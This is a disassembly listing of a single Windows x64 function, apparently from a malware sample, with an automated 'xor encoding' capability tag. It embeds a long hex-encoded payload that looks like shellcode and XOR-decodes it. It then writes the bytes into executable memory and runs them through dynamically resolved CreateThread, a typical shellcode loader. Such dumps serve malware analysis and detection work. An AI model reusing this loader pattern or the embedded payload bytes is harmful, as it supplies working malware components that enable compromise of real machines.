Function at 0x14000191b
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xc0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x38], 0xfffffffffffffffe
mov rsi, rbp
mov rcx, rsi
call fcn.140001c18
lea rdi, [rbp - 0x20]
mov rcx, rdi
call fcn.140001c18
mov rax, qword [rdi]
mov ecx, 0xb2d05e00
add rcx, rax
movabs rdx, 0x7fffffff4d2fa1ff
cmp rax, rdx
movabs rax, 0x7fffffffffffffff
cmovl rax, rcx
lea rcx, [rbp + 0x10]
mov qword [rcx], rax
call fcn.14000255d
lea rbx, [rbp + 8]
mov rcx, rbx
call fcn.140001c18
mov rax, qword [rbx]
sub rax, qword [rsi]
movabs rcx, 0xbce4217d2849cb25
imul rcx
mov rax, rdx
shr rax, 0x12
shr rdx, 0x3f
add edx, eax
add edx, 0x7f149
lea rcx, [0x140029d80]
call fcn.140001cd2
mov rcx, rax
call fcn.140001e9e
mov qword [rdi + 8], 0
mov ecx, 0xc20
call fcn.14000c600
mov rsi, rax
mov qword [rdi], rax
mov qword [rdi + 0x10], 0xc12
mov qword [rdi + 0x18], 0xc1f
lea rdx, str.e92f00000022610277bee0c5a9f610f420c6479c85bf24ee16b77491aabf563def559e86f7db78f5f3484e5d3e1eeb6c9d9ce081564881c6af0000005ee8c0020000000000047125a10390980e0000802931e24881c1020100005049c7c043010000e42f9d4c450fb634431f45ea44240149a9be719639d10f843100000041ffc645db8d5ce80eb71434baff2fb8f048c3fb46883c344788140456faa82840bfe8c148ff8a14144430113eb7c62e8a31ba777524fe45884424ff60b0b833f4ac13dc82af9a6ed1b9cbba06d2b0b72c77d0cddcbd19901d529d6d5172fa654ca6186415f502efd41dd242a444418e213a4ac97531813519fe007836953f10a1a3169f8a33b366a2e5c3dc7aab6b391929a99b29566528b1f224f751326d28084916fa7106f9b64ef53984237a6703e2e9f3f7fc1db21450f7001fd65b07a818a4a10c04ff4c52875caa7e4237a40e39e693db08dce578d9b90118bd431a85fc2a59b5c48eaa5a341d712982ef72072737618921f69ebd4f5525cb5214a2382a4173ee891213f15c1cb2f64a8035668cd3c299bf9863d822acb3d04aab15ff688a48476a7fb4c73d7c79707d1e254d740f09278a3356f407bb61a8d61b2ebf02a57d904080ef4783d0b1d8bf7536e36f83484b19628514aca1b40f020abaa246a76c35160e0d5c6d62eff6a3cc7d8a430c7fb3ba696ba837b5605cb2093a530d49ad7221e66ba46c907a442a9f4da649648f8f2f0f2b12c3e3b23f19682bb3403e0d328f5d26ae41bea6eaa65d6b99db0803b68c7bbff1c569097fb4ee0efcd7ff89c82d5908e1e37a28191bc04f79cb0223b8a0d5a721805fd5fc9eb1c910b5bde55339a488e8c84e7f61ab9072cce3591e87542c957dd58c53d64e4f5685a24818b8df322338482f8b048bcf95b3c8155f3806e4891a5ac062e07689a1c9320f3cdeea03f9cc86ef5886567cecc93d45e0e555cd1dc37b8ce812fce7018ccae631d7360c730440b04b82ef3ef6646adde25f691f52076d25e6acd42fd177431801162af13f4ec99c6b41e3c787c79431d9e7c27d14519e5a5e2bd71c0d5efc339090415f49c10f324157594883c10848c101034c8b690849ffcd4c89690848ff41108169189aa2884b8169201fda3534814128da0591b14c8b613049ffc44c89613051415d4983c53849c7c1ccd765a04d294d0049f7550849ff45104c89e84883c01848c1081548c14808104c8b701049f7d64c89701048ff4818505a4883c22049c7c6635047d84c013248f75a0848ff421048c14a183f48f752204889d74883c7284c8b2f49f7dd4c892f48f7570848ff4f1048f75f18575a4883c22049c7c0046c4fc34c310252415a4983c208498b3248f7d649893241817208477e094341814210c17a8477498b721848ffc64989721849c14a200649c14a281b49c142302a4152415c4983c43849c10c240a49c14c24082141816c2410aeab36fb498b4c241848f7d149894c241848bbff192d3be362b1d149015c242048c7c34c4f25b349015c242841816c243012f28df9498b5c243848ffcb49895c24384154415b4983c3404d8b0349f7d04d890349c7c2e7b7a2ff4d2953084c89de4883c61048f7164c8b760849ffc64c8976084c8b561049ffca4c89561048f756184c8b5e2049f7d34c895e204c8b562849f7d24c8956284989f64983c63049c10e0349ff460849c146101541816e182ce6734b4c89f14883c12048ff0149c7c3cb075bf14c3159085141584983c010418128ceb5404e4181400804738bc649f75810418140182a04baf641505f4883c72081076560ce52816f085624e7454c8b7f1049f7df4c897f1048f75f1848ff4720488b5f2848ffcb48895f2848bb3038723d22930f9e48015f3048ba74a47c6d1db5659b483157388177401b6e123c8177481cea52ce48bb61b7880b52f9b9ce48015f5048f75f5857415e4983c660498b0648ffc0498906418176080188eb8848bf2aeb1e0ed334b33f49017e104156584883c0188100fc929bd0488b500848f7da4889500848c140100d48f750184c8b502049f7d24c89502048f75828505b4883c33048ff0b48f75b0848f7531048c143180648ff43204889d94883c12881299a1a13a848c141082a48ff411081691860cf0edd4881e9a002000051c3
mov r8d, 0xc12
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov byte [rsi + 0xc12], 0
lea rcx, [rbp + 0x10]
lea rdx, [rbp - 0x20]
call fcn.1400015cf
mov rbx, qword [rbp + 0x10]
mov r14, qword [rbp + 0x18]
sub r14, rbx
mov qword [rbp + 0x28], r14
mov rcx, r14
call fcn.14000c678
mov rdi, rax
mov rcx, rax
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
xor eax, eax
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
xor byte [rax + rcx], 0xfe
inc rax
cmp rax, 0x1191
jne 0x140001a49
call section..text
call fcn.140001557
lea rbx, [rbp + 0x30]
mov qword [rbx], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x28]
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
call fcn.14000c5c0
call fcn.140001507
call section..text
mov rbx, qword [rbp + 0x28]
mov r14, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
mov r8, rdi
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs rax, 0x64616572685465
lea rdi, [rbp - 0x30]
mov qword [rdi + 5], rax
movabs rax, 0x6854657461657243
mov qword [rdi], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call section..text
mov r8, qword [rbp + 0x30]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rdi
mov rdi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
lea rbx, [rbp - 0x50]
movaps xmmword [rbx], xmm0
mov dword [rbx + 0x10], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call section..text
mov rcx, rdi
mov edx, 0xffffffff
call rbx
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140001b9f
mov rdx, qword [rbp + 0x20]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001b9a
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001bbb
add rdx, 0x27
mov rcx, rax
call fcn.14000c644
mov edx, 0xc20
mov rcx, rsi
call fcn.14000c644
nop
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
call fcn.140014010
int3